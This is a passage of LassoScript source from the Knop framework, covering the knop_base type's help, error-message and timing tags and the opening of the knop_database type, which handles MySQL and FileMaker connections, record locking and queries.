$__html_reply__ to content_body\n2009-04-07\tJS\t->error_msg: custom error numbers can now be added, even if the language already exists.\n2008-01-10\tJS\t->error_msg: improved reporting of custom error messages such as from bad database queries\n2007-12-13\tJS\tAdded -> error_lang to provide a reference to the knop_lang object for error messages, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)\n2007-12-12\tJS\tAdded -html and -xhtml to ->help to get a nicely formatted output. \n2007-12-11\tJS\tCentralized ->error_code and ->error_msg to knop_base. Moved all error codes to error_msg\n2007-12-06\tJS\tChanged ->help to improve the self-documentation. It will now always return an up to date list of member tags and parameter. \n2007-11-05\tJS\tAdded var name to trace output\n2007-06-17\tJS\tAdded ->tagtime (was in nav earlier)\n2007-06-13\tJS\tAdded -> varname to be able to retreive the name of the page variable that a type instance is stored in.\n2007-06-13\tJS\tAdded -> xhtml to automatically sense if an xhtml doctype exists in the current page buffer. The result is cached in a page variable for performance. \n\t\t\t\tThis is for internal use for member tags that output html. \n2007-06-13\tJS\tIntroduced page variable $_knop_data for general page level storage and caching, common between different knop objects. \n2007-06-13\tJS\tCreated the data type\n\nTODO: ->help: add output option to format for Google Code Wiki\n->xhtml is not working properly when site is run by atbegin handler and explicitly writing to content_body \n\n\n*/\n\n\tlocal: 'debug_trace'=array,\n\t\t'_debug_trace'=array,\n\t\t'instance_unique'=null,\n\t\t'instance_varname'=null,\n\t\t'tagtime'=integer,\t\t\t\t// time for entire tag in ms\n\t\t'tagtime_tagname'=string,\n\t\t'error_code'=0,\n\t\t'error_msg'=string,\n\t\t'error_lang'=null,\t// must be defined as knop_lang in each type instead, to avoid recursion\n\t\t;\n\n\tdefine_tag: 'ondeserialize', -description='Recreates transient variables after coming back from a session';\n\t\tself -> properties -> first -> insert('_debug_trace'=array);\n\t/define_tag;\n\n\tdefine_tag: 'help', -description='Auto generates an overview of all member tags of a type, with all parameters specified for each member tag.', \n\t\t-optional='html',\n\t\t-optional='xhtml';\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\t\tlocal: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\\n' | '\\n';\n\n\t\tlocal: 'output'=string,\n\t\t\t'tags'=array,\n\t\t\t'description'=string,\n\t\t\t'parameters'=string;\n\t\t#output += (self -> type) + ' - version ' + (self -> 'version') + '\\n' ;\n\t\t#output += (self -> 'description') + '\\n\\n';\n\t\titerate: (self -> properties -> second) , local: 't';\n\t\t\t#tags -> (insert: #t);\n\t\t/iterate;\n\t\tif: (self -> parent -> type != 'null'); // this doesn't work\n\t\t\titerate: (self -> parent -> properties -> second) , local: 't';\n\t\t\t\t#tags -> (insert: #t);\n\t\t\t/iterate;\n\t\t/if;\n\t\t#tags -> sort;\n\t\titerate: #tags , local: 't';\n\t\t\t#parameters = string;\n\t\t\t#output += '-> ' + (#t -> name);\n\t\t\t#description=(#t -> value -> description);\n\t\t\titerate: (#t -> value -> paraminfo) , local: 'p';\n\t\t\t\tif: #description !>> '-' + (#p -> paramname);\n\t\t\t\t\t#parameters += '-' + (#p -> paramname) + ' (' (#p -> isrequired ? 'required' | 'optional') \n\t\t\t\t\t\t+ (#p -> paramtype != 'null' && #p -> paramtype -> size ? ' ' + (#p -> paramtype))  + ')\\n';\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t#output += (#description -> size || #parameters -> size ? '\\n' + #description);\n\t\t\t#output += (#description >> 'Parameters:' ?  '\\n');\n\t\t\t#output += (#description !>> 'Parameters:' && #parameters -> size ? '\\nParameters:\\n');\n\t\t\t#output += (#parameters -> size ? #parameters);\n\t\t\t#output -> removetrailing('\\n');\n\t\t\t#output += '\\n\\n';\n\t\t/iterate;\n\t\tif: ((local_defined: 'html') && #html != false) || ((local_defined: 'xhtml') && #xhtml != false);\n\t\t\t#output = encode_html: #output;\n\t\t\t// normalize line breaks and convert to <br>\n\t\t\t#output -> (replace: '\\r\\n', '\\n') & (replace: '\\r', '\\n') & (replace: '\\n', #eol + '\\n');\n\t\t/if;\n\t\treturn: #output;\n\t/define_tag;\n\n\n\tdefine_tag: 'xhtml', -description='Internal. Finds out if xhtml output should be used. Looks at doctype unless -xhtml is specified \\\n\t\t\tin the params array. The result is cached in a page variable. \\n\\\n\t\t\tLooking at doctype doesn\\'t work when using atbegin driven solutions since content_body isn\\'t filled with the page buffer until the page has already been processed.  ',\n\t\t-optional='params';\n\t\tif: (local_defined: 'params') && #params >> '-xhtml';\n\t\t\tlocal: 'xhtmlparam'=#params -> (find: '-xhtml') -> first;\n\t\t\tif: #xhtmlparam -> type == 'pair'; // -xhtml=true / -xhtml=false\n\t\t\t\treturn: boolean: (#xhtmlparam -> value);\n\t\t\telse; // plain -xhtml\n\t\t\t\treturn: true;\n\t\t\t/if;\n\t\t/if;\n\t\tif: (var: '_knop_data') -> type != 'map';\n\t\t\t$_knop_data = map;\n\t\t/if;\n\t\tif: $_knop_data !>> 'doctype_xhtml';\n\t\t\tlocal: 'doctype' = content_body -> (substring: 1, (content_body -> (find: '>')));\n\t\t\t$_knop_data -> (insert: 'doctype_xhtml' = (#doctype >> '<!DOCTYPE' && #doctype >> 'xhtml'));\n\t\t/if;\n\t\treturn: $_knop_data -> (find: 'doctype_xhtml');\n\t/define_tag;\n\n\n\tdefine_tag: 'error_lang', -description='Returns a reference to the language object used for error codes, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)';\n\t\treturn: @(self -> 'error_lang');\n\t/define_tag;\n\n\tdefine_tag: 'error_code', -description='Either proprietary error code or standard Lasso error code';\n\t\t\t\treturn: integer: (self -> 'error_code');\n\t/define_tag;\n\n\tdefine_tag: 'error_msg',\n\t\t-optional='error_code', -type='integer', -copy;\n\t\t!(local_defined: 'error_code') ? local: 'error_code'=(self -> error_code);\n\t\tlocal: 'error_lang_custom'=(self -> 'error_lang');\n\t\tlocal: 'error_lang'=(knop_lang: -default='en', -fallback);\n\n\t\tlocal: 'errorcodes'=(map:\n\t\t\t0 = 'No error',\n\t\t\t-1728 = 'No records found', // standard Lasso error code\n\t\t\t\n\t\t\t// database errors 7000\n\t\t\t7001 ='The specified table was not found',\n\t\t\t7002 = 'Keyfield not specified',\n\t\t\t7003 = 'Lockfield not specified',\n\t\t\t7004 = 'User not specified for record lock',\n\t\t\t7005 = 'Either keyvalue or lockvalue must be specified for update or delete',\n\t\t\t7006 = 'Keyfield or keyvalue missing',\n\t\t\t7007 = 'Keyvalue missing',\n\t\t\t7008 = 'Keyvalue not unique',\n\t\t\t7009 = '-sql can not be used with FileMaker',\n\t\t\t7010 = 'Record locked by another user', // see error_data\n\t\t\t7011 = 'Record lock not valid any more',\n\t\t\t7012 = 'Could not set record lock', // see error_data\n\t\t\t7013 = 'Failed to clear record locks', // see error_data\n\t\t\t7016 = 'Add error', // see error_data\n\t\t\t7017 = 'Add failed, duplicate key value',\n\t\t\t7018 = 'Update error', // see error_data\n\t\t\t7019 = 'Delete error', // see error_data\n\t\t\t7020 = 'Keyfield not present in query',\n\t\t\t7021 = 'Lockfield not present in query',\n\t\t\t\n\t\t\t// form errors 7100\n\t\t\t7101 ='Form validation failed',\n\t\t\t7102 = 'Unsupported field type',\n\t\t\t7103 = 'Form->process requires that a database object is defined for the form',\n\t\t\t7104 = 'Copyfield must copy to a different field name',\n\n\t\t\t// grid errors 7200 \n\t\t\t\n\t\t\t// lang errors 7300\n\t\t\t\n\t\t\t// nav errors 7400\n\t\t\t\n\t\t\t// user errors 7500\n\t\t\t7501 = 'Authentication failed',\n\t\t\t7502 = 'Username or password missing',\n\t\t\t7503 = 'Client fingerprint has changed'\n\t\t\t\n\t\t\t);\n\t\t#error_lang -> (addlanguage: -language='en', -strings=@#errorcodes);\n\t\t// add any custom error strings\n\t\titerate(#error_lang_custom -> 'strings', local('custom_language'));\n\t\t\tif(#error_lang -> 'strings' !>> #custom_language -> name);\n\t\t\t\t// add entire language at once\n\t\t\t\t#error_lang -> addlanguage(-language=#custom_language -> name, -strings=#custom_language -> value);\n\t\t\telse;\n\t\t\t\t// add one string at a time\n\t\t\t\titerate(#custom_language -> value, local('custom_string'));\n\t\t\t\t\t#error_lang -> insert(-language=#custom_language -> name, \n\t\t\t\t\t\t-key=#custom_string -> name, \n\t\t\t\t\t\t-value=#custom_string -> value);\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t/iterate;\n\t\t\n\t\tif: #errorcodes >> #error_code;\n\t\t\t// return error message defined by this tag\n\t\t\tif: #error_lang -> keys >> #error_code;\n\t\t\t\treturn: #error_lang -> (getstring: #error_code);\n\t\t\telse;\n\t\t\t\treturn: #errorcodes -> (find: #error_code);\n\t\t\t/if;\n\t\telse;\n\t\t\tif: (self -> 'error_msg') != '';\n\t\t\t\t// return literal error message\n\t\t\t\treturn: (self -> 'error_msg');\n\t\t\telse;\n\t\t\t\t// test for error known by lasso\n\t\t\t\terror_code = #error_code;\n\t\t\t\t// return Lasso error message\n\t\t\t\treturn: error_msg;\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'varname', -description='Returns the name of the variable that this type instance is stored in.';\n\t\tlocal: 'timer'=knop_timer;\n\t\tif: self -> 'instance_unique' == null;\n\t\t\tself -> 'instance_unique' = knop_unique;\n\t\t/if;\n\t\tif: self -> 'instance_varname' == null;\n\t\t\t// look for the var name and store it in instance variable\n\t\t\titerate: (vars -> keys), (local: 'varname');\n\t\t\t\tif: (var: #varname) -> type == self -> type \n\t\t\t\t\t&& ((var: #varname) -> 'instance_unique') == (self -> 'instance_unique');\n\t\t\t\t\t(self -> 'instance_varname')=#varname;\n\t\t\t\t\tloop_abort;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t/if;\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer;\n\t\treturn: self -> 'instance_varname';\n\t/define_tag;\n\n\tdefine_tag: 'trace', -description='Returns the debug trace for a type instance',\n\t\t-optional='html',\n\t\t-optional='xhtml';\n\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\t\tlocal: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\\n' | '\\n';\n\t\tlocal: 'trace'=(self -> 'debug_trace');\n\t\t(self -> '_debug_trace') -> isa('array') ? #trace -> merge(self -> '_debug_trace');\n\t\treturn: #eol + 'Debug trace for ' + (self -> type ) + ' $' + (self -> varname) + #eol \n\t\t\t+ #trace -> (join: #eol) + #eol;\n\n\t/define_tag;\n\n\n\tdefine_tag: 'tagtime', -description='Returns the time it took to execute the last executed member tag for a type instance.',\n\t\t-optional='html',\n\t\t-optional='xhtml';\n\t\t/* Standard timer code\n\t\tAt beginning of tag code:\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tBefore the end of tag code (before return):\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\n\t\t*/\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\t((local_defined: 'html') || (local_defined: 'xhtml')) ? return: (self -> type) + '->' + (self -> 'tagtime_tagname') + ': ' + (self -> 'tagtime') + ' ms<br' + #endslash + '>';\n\t\treturn: (self -> 'tagtime');\n\t/define_tag;\n\n/define_type;\n\n\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop_base\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_database\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'database',\n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype;\n\t\n\tlocal: 'version'='2010-11-23',\n\t\t'description'='Custom type to interact with databases. Supports both MySQL and FileMaker datasources. ';\n\n/*\n\nCHANGE NOTES\n2012-06-10\tSP\tFix for decimal precision bug in 8.6.0.1 in renderfooter.\n2012-01-15\tSP\tAdd support for inline host method.  Thanks to Ric Lewis.\n2010-11-23\tJS\t->settable: removed reference for -table\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-06-26\tJS\t->nextrecord: Added deprecation warning\n2009-05-15\tJS\t->field: corrected the verification of the -index parameter\n2009-01-09\tJS\tAdded a check before calling resultset_count so it will not break in Lasso versions before 8.5\n2009-01-09\tJS\t->_unknowntag: fixed incorrect debug_trace\n2008-12-03\tJS\t->addrecord: improved how keyvalue is returned when adding records\n2008-12-03\tJS\t->addrecord: inserting a generated keyvalue can now be suppressed by specifying -keyvalue=false\n2008-12-03\tJS\t->saverecord and ->deleterecord will now use the current keyvalue (if any), so -keyvalue will not have to be specified in that case. \n2008-11-25\tJS\t->field and ->recorddata will no longer touch current_record if it was zero\n2008-11-24\tJS\t->field: Added -index parameter to be able to access any occurrence of the same field name\n2008-11-24\tJS\tAdded -> records that returns a new data type knop_databaserows\n2008-11-24\tJS\t->resultset_count: added support for -inlinename. \n2008-11-24\tJS\tChanged ->nextrecord to ->next. ->nextrecord remains supported for backwards compatibility.\n2008-11-14\tJS\t->nextrecord resets the record pointer when reaching the last record\n2008-11-13\tJS\t->recorddata now honors the current record pointer (as incremented by -nextrecord)\n2008-11-13\tJS\t->recorddata: added -recordindex parameter so a specific record can be returned instead of the first found.\n2008-10-30\tJS\t->getrecord now REALLY works with integer keyvalues (double oops) - I thought I fixed it 2008-05-28 but misplaced a paren...\n2008-09-26\tJS\tAdded -> resultset_count corresponding to the same Lasso tag, so [resultset]...[/resultset] can now be used through the use of inlinename.\n2008-09-10\tJS\t-> getrecord, ->saverecord, ->deleterecord: Corrected handling of lock user to work better with knop_user\n2008-07-09\tJS\t->saverecord: -keeplock now updates the lock timestamp\n2008-05-28\tJS\t->getrecord now works with integer keyvalues (oops)\n2008-05-27\tJS\t->get returns a new datatype knop_databaserow \n2008-05-27\tJS\tAdded ->size and ->get so a database object can be iterated. When iterating each row is returned as an array of field values. \n2008-05-27\tJS\tAddedd ->nextrecord that increments the recordpointer each time it is called until the last record in the found set is reached. Returns true as long as there are more records. Useful in a while loop - see example below\n2008-05-27\tJS\tImplemented record pointer 'current_record'. The record pointer is reset for each new query. \n2008-05-27\tJS\t->field: added -recordindex to get data from any record in the current found set\n2008-05-27\tJS\tAdded ->_unknowntag as shortcut to field\n2008-05-26\tJS\tRemoved onassign since it causes touble\n2008-05-26\tJS\tExtended field_names to return the field names for any specified table, return field names also for db objects that have never been used for a database query and optionally return field types\n2008-01-29\tJS\t->getrecord now supports -sql. Make sure that the SQL statement includes the relevant keyfield (and lockfield if locking is used). \n2008-01-10\tJS\t->capturesearchvars: error_code and error_msg was mysteriously not set after database operations that caused errors. \n2008-01-08\tJS\t->saverecord: added flag -keeplock to be able to save a locked record without releasing the lock\n2007-12-15\tJS\tAdding support for knop_user in record locking is in progress. Done for ->oncreate and ->getrecord. \n2007-12-11\tJS\tMoved error_code and error_msg to knop_base\n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-10\tJS\tAdded ->settable to be able to copy an existing database object and properly set a new table name for it. Faster than creating a new instance from scratch. \n2007-12-03\tJS\tCorrected shown_first once again, hoping it's right this time\n2007-11-29\tJS\tAdded support for field_names and corresponding member tag ->field_names\n2007-11-05\tJS\tAdded var name to trace output\n2007-10-26\tJS\t->capturesearchvars: corrected shown_first when no records found\n2007-10-26\tJS\t->oncreate: added default value \"keyfield\" if the -keyfield parameter is not specified\n2007-09-06\tJS\tCorrected self -> 'tagtime' typo\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-05-30\tJS\tChanged recordid_value to keyfield_value and -recordid to -keyvalue\n2007-05-28\tJS\t->oncreate: Added clearing of current error at beginning of tag\n2007-04-19\tJS\tCorrected the handling of -maxrecords and -skiprecords for SQL selects that have LIMIT specified\n2007-04-19\tJS\tImproved handling of foundrows so it finds any whitespace around SQL keywords, instead of just plain spaces\n2007-04-18\tJS\t->select now populates recorddata with all the fields for the first found record. Previously it only populated recorddata when there was 1 found record. \n2007-04-12\tJS\t->oncreate: Added authentication inline around Database_TableNames../Database_TableNames\n2007-04-10\tJS\t->oncreate: Improved validation of table name (table_realname can sometimes be null even for valid table names)\n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-02-02\tJS\tImproved reporting of Lasso error messaged in error_msg\n2007-01-30\tJS \tAdded real error codes and additional error data for some errors (like record locked)\n2007-01-30\tJS\tChanged -keyvalue parameters to copy value instead of pass as reference, to not cause problems when using keyvalue from the same db object as is being updated, for example $db->(saverecord: -keyvalue=$db->keyvalue)\n2007-01-26\tJS\tAdjusted affectedrecord_keyvalue so it's only captured for -add and -update\n2007-01-23\tJS\tSupports -uselimit (or querys that use LIMIT) and still gets proper searchresult vars (using a separate COUNT(*) query) - may not always get the right result for example for queries with GROUP BY\n2007-01-23\tJS\t-keyfield can be specified for saverecord to override the default\n2007-01-23\tJS\tChanged name of ->updaterecord to ->saverecord\n2007-01-23\tJS \tFixed bug where keyfield was missing as returnfield when looking up locked record for deleterecord\n2007-01-23\tJS\tAdded ->field\n2007-01-19\tJS\tAdded maxrecords_value and skiprecords_value to searchresultvars\n2007-01-18\tJS\tAdded affectedrecord_keyvalue to make it possible to highlight affected record in record list (grid)\n\n\nTODO:\nAllow -keyfield to be specified for ->addrecord and ->deleterecord\nAdd some Active Record similar functionality for editing\nLook at making it so -table can be set dynamically instead of fixed at oncreate, to eliminate the need for one db object for each table. This can cause problems with record locks and how they interact with knop_user \ndatetime_create and datetime_mod, and also user_create and user_mod.\n\tUse default field names but allow to override at oncreate, and verify them at oncreate before trying to use them. \n\n\n*/\n\n\t// instance variables\n\t// these variables are set once\n\tlocal: 'database'=string,\n\t\t'table'=string,\n\t\t'table_realname'=string,\t// the actual table name, to be used in SQL statements (in case the table name is aliased in Lasso)\n\t\t'username'=string,\n\t\t'password'=string,\n\t\t'db_connect'=array,\n\t\t'host'=array,\t\t\t\t// add support for inline host method\n\t\t'datasource_name'=string,\n\t\t'isfilemaker'=false,\n\t\t'lock_expires'=1800,\t\t// seconds before a record lock expires\n\t\t'lock_seed'=knop_seed,\t\t// encryption seed for the record lock\n\t\t'error_lang'=(knop_lang: -default='en', -fallback),\n\t\t'user'=null,\t\t\t\t// knop_user that will be used for record locking\n\t\t'databaserows_map'=map;\t\t// map to hold databaserows for each inlinename\n\n\t// these variables are set for each query\n\tlocal: 'inlinename'=string,\t\t\t// the inlinename that holds the result of the latest db operation\n\t\t'keyfield'=string,\n\t\t'keyvalue'=null,\n\t\t'affectedrecord_keyvalue'=null,\t// keyvalue of last added or updated record (not reset by other db actions)\n\t\t'lockfield'=string,\n\t\t'lockvalue'=null,\n\t\t'lockvalue_encrypted'=null,\n\t\t'timestampfield'=string,\t\t// for optimistic locking\n\t\t'timestampvalue'=string,\n\t\t'searchparams'=string,\t\t\t// the resulting pair array used in the database action\n\t\t'querytime'=integer,\t\t\t// query time in ms\n\t\t// 'tagtime'=integer,\t\tmoved to knop_base\n\t\t'recorddata'=map,\t\t\t\t// for single record results, a map of all returned db fields\n\t\t'error_data'=map,\t\t\t\t// additional data for certain errors\n\t\t'message'=string,\t\t\t\t// user message for normal result\n\t\t'current_record'=integer,\t\t// index of the current record to get field values from a specific record\n\t\t'field_names_map'=map,\n\t\t'resultset_count_map'=map;\t\t// resultset_count stored for each inlinename \n\t// these vars have directly corresponding Lasso tags so they can be set programatically\n\tlocal: 'searchresultvars'=(array: 'action_statement', 'found_count', 'shown_first', \n\t\t'shown_last', 'shown_count', 'field_names', 'records_array', 'maxrecords_value', 'skiprecords_value');\n\titerate: #searchresultvars, (local: 'resultvar');\n\t\tlocal(#resultvar = null);\n\t/iterate;\n\n\tlocal: 'errors_error_data'=(map: 7010, 7012, 7013, 7016, 7018, 7019); // these error codes can have more info in error_data map\n\n\tdefine_tag: 'oncreate',\n\t\t-required='database',\n\t\t-required='table',\n\t\t-optional='host',\t\t\t// add support for inline host method\n\t\t-optional='username',\n\t\t-optional='password',\n\t\t-optional='keyfield',\n\t\t-optional='lockfield',\n\t\t-optional='user',\n\t\t-optional='validate';\t\t// validate the database connection info (adds the overhead of making a test connection to the database)\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\t// reset error\n\t\terror_code = 0;\n\t\terror_msg = error_noerror;\n\t\n\t\t// validate database and table names to make sure they exist in Lasso\n\t\t(self -> 'datasource_name') = Lasso_DatasourceModuleName: #database;\n\t\tfail_if: error_code != 0, error_code, error_msg;\n\t\t\t\t\n\t\t// store params as instance variables\n\t\tlocal_defined('database') ? (self -> 'database') = @#database; \n\t\tlocal_defined('table') ? (self -> 'table') = @#table; \n\t\tlocal_defined('host') ? (self -> 'host') = @#host;\t// add support for inline host method\n\t\tlocal_defined('username') ? (self -> 'username') = @#username; \n\t\tlocal_defined('password') ? (self -> 'password') = @#password; \n\t\tlocal_defined('lockfield') ? (self -> 'lockfield') = @#lockfield; \n\t\tlocal_defined('user') ? (self -> 'user') = @#user;\n\t\t\t// param has default value\n\t\t(self -> 'keyfield') = (local_defined('keyfield') \n\t\t\t\t\t\t\t\t? @#keyfield // use parameter value\n\t\t\t\t\t\t\t\t| 'keyfield'); // use default value\n\n\t\t\n\t\t// build inline connection array\n\t\tlocal_defined('database') ? (self -> 'db_connect') -> insert('-database'  = @#database);\n\t\tlocal_defined('table') ? (self -> 'db_connect') -> insert('-table'  = @#table);\n\t\tlocal_defined('host') ? (self -> 'db_connect') -> insert('-host'  = @#host);\t// add support for inline host method\n\t\tlocal_defined('username') ? (self -> 'db_connect') -> insert('-username'  = @#username);\n\t\tlocal_defined('password') ? (self -> 'db_connect') -> insert('-password'  = @#password);\n\n\t\t(self -> 'table_realname') = (table_realname: #database, #table);\n\t\tif:  (self -> 'table_realname') == null;\n\t\t\t// verify that the table exists even if table_realname is null\n\t\t\tinline: (self -> 'db_connect');\n\t\t\t\tDatabase_TableNames: #database;\n\t\t\t\t\tif: Database_TableNameItem == #table;\n\t\t\t\t\t\t(self -> 'table_realname') = #table;\n\t\t\t\t\t\tloop_abort;\n\t\t\t\t\t/if;\n\t\t\t\t/Database_TableNames;\n\t\t\t/inline;\n\t\t/if;\n\t\tfail_if: (self -> 'table_realname') == null, 7001, self -> error_msg(7001); // The specified table was not found\n\t\t\n\t\tif: (local_defined: 'validate');\n\t\t\t// validate db connection\n\t\t\tinline: (self -> 'db_connect');\n\t\t\t\tfail_if: error_code != 0, error_code, error_msg;\n\t\t\t/inline;\n\t\t/if;\n\n\t\tif: Lasso_DatasourceIsFilemaker: #database || Lasso_DatasourceIsFilemakerSA: #database;\n\t\t\t(self -> 'isfilemaker') = true;\n\t\t/if;\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': creating database object on ' + (self -> 'datasource_name') +', isfilemaker: ' + (self -> 'isfilemaker') + ' at ' + (date -> (format: '%Q %T')));\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\n\t/define_tag;\n\t\n\t/* \n\tdefine_tag: 'onassign', -required='value', -description='Internal, needed to restore references when ctype is defined as prototype';\n\t\t// recreate references here\n\t\t(self -> 'user') = @(#value -> 'user');\n\t/define_tag;\n\t*/\n\n\tdefine_tag('_unknowntag', -description='Shortcut to field');\n\t\tif((self -> 'field_names_map') >> tag_name);\n\t\t\treturn(self -> field(tag_name));\n\t\telse;\n\t\t\t//fail(-9948, self -> type + '->' + tag_name + ' not known.');\n\t\t\t(self -> 'debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'settable',\t-description='Changes the current table for a database object. Useful to be able to create \\\n\t\tdatabase objects faster by copying an existing object and just change the table name. This is a little bit faster \\\n\t\tthan creating a new instance from scratch, but no table validation is performed. Only do this to add database \\\n\t\tobjects for tables within the same database as the original database object. ',\n\t\t-required='table', -type='string';\n\t\tlocal: 'timer'=knop_timer; \n\t\n\t\t(self -> 'error_code')=0;\n\t\t(self -> 'error_msg')=string;\n\t\t(self -> 'table_realname') = #table;\n\t\t(self -> 'db_connect') -> removeall(#table);\n\t\t(self -> 'db_connect') -> (insert: '-table' = #table);\n\t\t(self -> 'table_realname') = (table_realname: self -> 'database', #table);\n\t\tif:  (self -> 'table_realname') == null;\n\t\t\t// verify that the table exists even if table_realname is null\n\t\t\tinline: (self -> 'db_connect');\n\t\t\t\tDatabase_TableNames: (self -> 'database');\n\t\t\t\t\tif: Database_TableNameItem == #table;\n\t\t\t\t\t\t(self -> 'table_realname') = #table;\n\t\t\t\t\t\tloop_abort;\n\t\t\t\t\t/if;\n\t\t\t\t/Database_TableNames;\n\t\t\t/inline;\n\t\t/if;\n\t\tfail_if: (self -> 'table_realname') == null, 7001, self -> error_msg(7001); // The specified table was not found\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'select', -description='perform database query, either Lasso-style pair array or SQL statement.\\\n\t\t\t ->recorddata returns a map with all the fields for the first found record. \\\n\t\t\t If multiple records are returned, the records can be accessed either through ->inlinename or ->records_array.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-search (optional array) Lasso-style search parameters in pair array\\n\\\n\t\t\t-sql (optional string) Raw sql query\\n\\\n\t\t\t-keyfield (optional) Overrides default keyfield, if any\\n\\\n\t\t\t-keyvalue (optional)\\n\\\n\t\t\t-inlinename (optional) Defaults to autocreated inlinename',\n\t\t-optional='search', -type='array',\n\t\t-optional='sql', -type='string',\n\t\t-optional='keyfield',\n\t\t-optional='keyvalue', -copy,\n\t\t-optional='inlinename', -copy;\n\n\t\tknop_debug(self->type + ' -> ' + tag_name, -open, -type=self->type);\n\t\thandle;\n\t\t\t//knop_debug(-close, -witherrors, -type=self->type);\n\t\t\tknop_debug('Done with ' + self->type + ' -> ' + tag_name, -close, -witherrors, -time);\n\t\t/handle;\n\t\tlocal: 'timer'=knop_timer; \n\n\t\t// clear all search result vars\n\t\tself -> reset;\n\t\t\n\t\tlocal: '_search'=(local: 'search'),\n\t\t\t'_sql'=(local: 'sql');\n\t\tif: #_search -> type != 'array';\n\t\t\t#_search = array;\n\t\t/if;\n\t\tif: #_sql != '' && (self -> 'isfilemaker');\n\t\t\t#_sql='';\n\t\t\tfail: 7009, self -> error_msg(7009); // sql can not be used with filemaker\n\t\t/if;\n\t\t// inlinename defaults to a random string\n\t\t(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);\n\t\t#_search -> (removeall: -inlinename);\n\t\t#_search -> (insert: -inlinename=(self -> 'inlinename'));\n\t\t\n\t\t// remove all database actions from the search array\n\t\t#_search -> (removeall: -search) & (removeall: -add) & (removeall: -delete) & (removeall: -update) \n\t\t\t& (removeall: -sql) & (removeall: -nothing) & (removeall: -show)\n\t\t\t// & (removeall: -table)  // table is ok to override\n\t\t\t& (removeall: -database);\n\n\t\tif: (local: 'sql') != '' && (string_findregexp: #sql, -find='\\\\bLIMIT\\\\b', -ignorecase) -> size;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': grabbing -maxrecords and -skiprecords from search array');\n\t\t\t// store maxrecords and skiprecords for later use\n\t\t\tif: #_search >> '-maxrecords';\n\t\t\t\t(self -> 'maxrecords_value') = #_search -> (find: '-maxrecords') -> last -> value;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': -maxrecords value found in search array ' + (self -> 'maxrecords_value'));\n\t\t\t/if;\n\t\t\tif: #_search >> '-skiprecords';\n\t\t\t\t(self -> 'skiprecords_value') = #_search -> (find: '-skiprecords') -> last -> value;\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': -skiprecords value found in search array ' + (self -> 'skiprecords_value'));\n\t\t\t/if;\n\t\t\t// remove skiprecords from the actual search parameters since it will conflict with LIMIT\n\t\t\t#_search -> (removeall: '-skiprecords');\n\t\t/if;\n\n\t\tif: !(local_defined: 'keyfield') && (self -> 'keyfield') != '';\n\t\t\tlocal: 'keyfield'=(self -> 'keyfield');\n\t\t/if;\n\t\tif: (local: 'keyfield') != '';\n\t\t\t#_search -> (removeall: '-keyfield');\n\t\t\tif: !(self -> 'isfilemaker');\n\t\t\t\t#_search -> (insert: '-keyfield'=#keyfield);\n\t\t\t/if;\n\t\t\tif: (local: 'keyvalue') != '';\n\t\t\t\t#_search -> (removeall: '-keyvalue');\n\t\t\t\tif: (self -> 'isfilemaker');\n\t\t\t\t\t#_search -> (insert: '-op'='eq');\n\t\t\t\t\t#_search -> (insert: #keyfield=#keyvalue);\n\t\t\t\telse;\n\t\t\t\t\t#_search -> (insert: '-keyvalue'=#keyvalue);\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\n\t\t// add sql action or normal search action\n\t\tif: #_sql != '';\n\t\t\t#_search -> (insert: '-sql'=#_sql);\n\t\telse;\n\t\t\t#_search -> (insert: '-search');\n\t\t/if;\n\t\t// perform database query, put connection parameters last to override any provided by the search parameters\n\t\t//(self -> 'debug_trace') -> (insert: tag_name + ': search ' + #_search);\n\t\tlocal: 'querytimer'=knop_timer;\n\t\tinline: #_search,(self -> 'db_connect');\n\t\t\t(self -> 'querytime') = integer: #querytimer;\n\t\t\t(self -> 'searchparams') = #_search;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name ': action_statement ' + action_statement);\n\t\t\tknop_debug(action_statement, -sql);\n\t\t\tknop_debug(found_count ' found');\n\t\t\tself -> 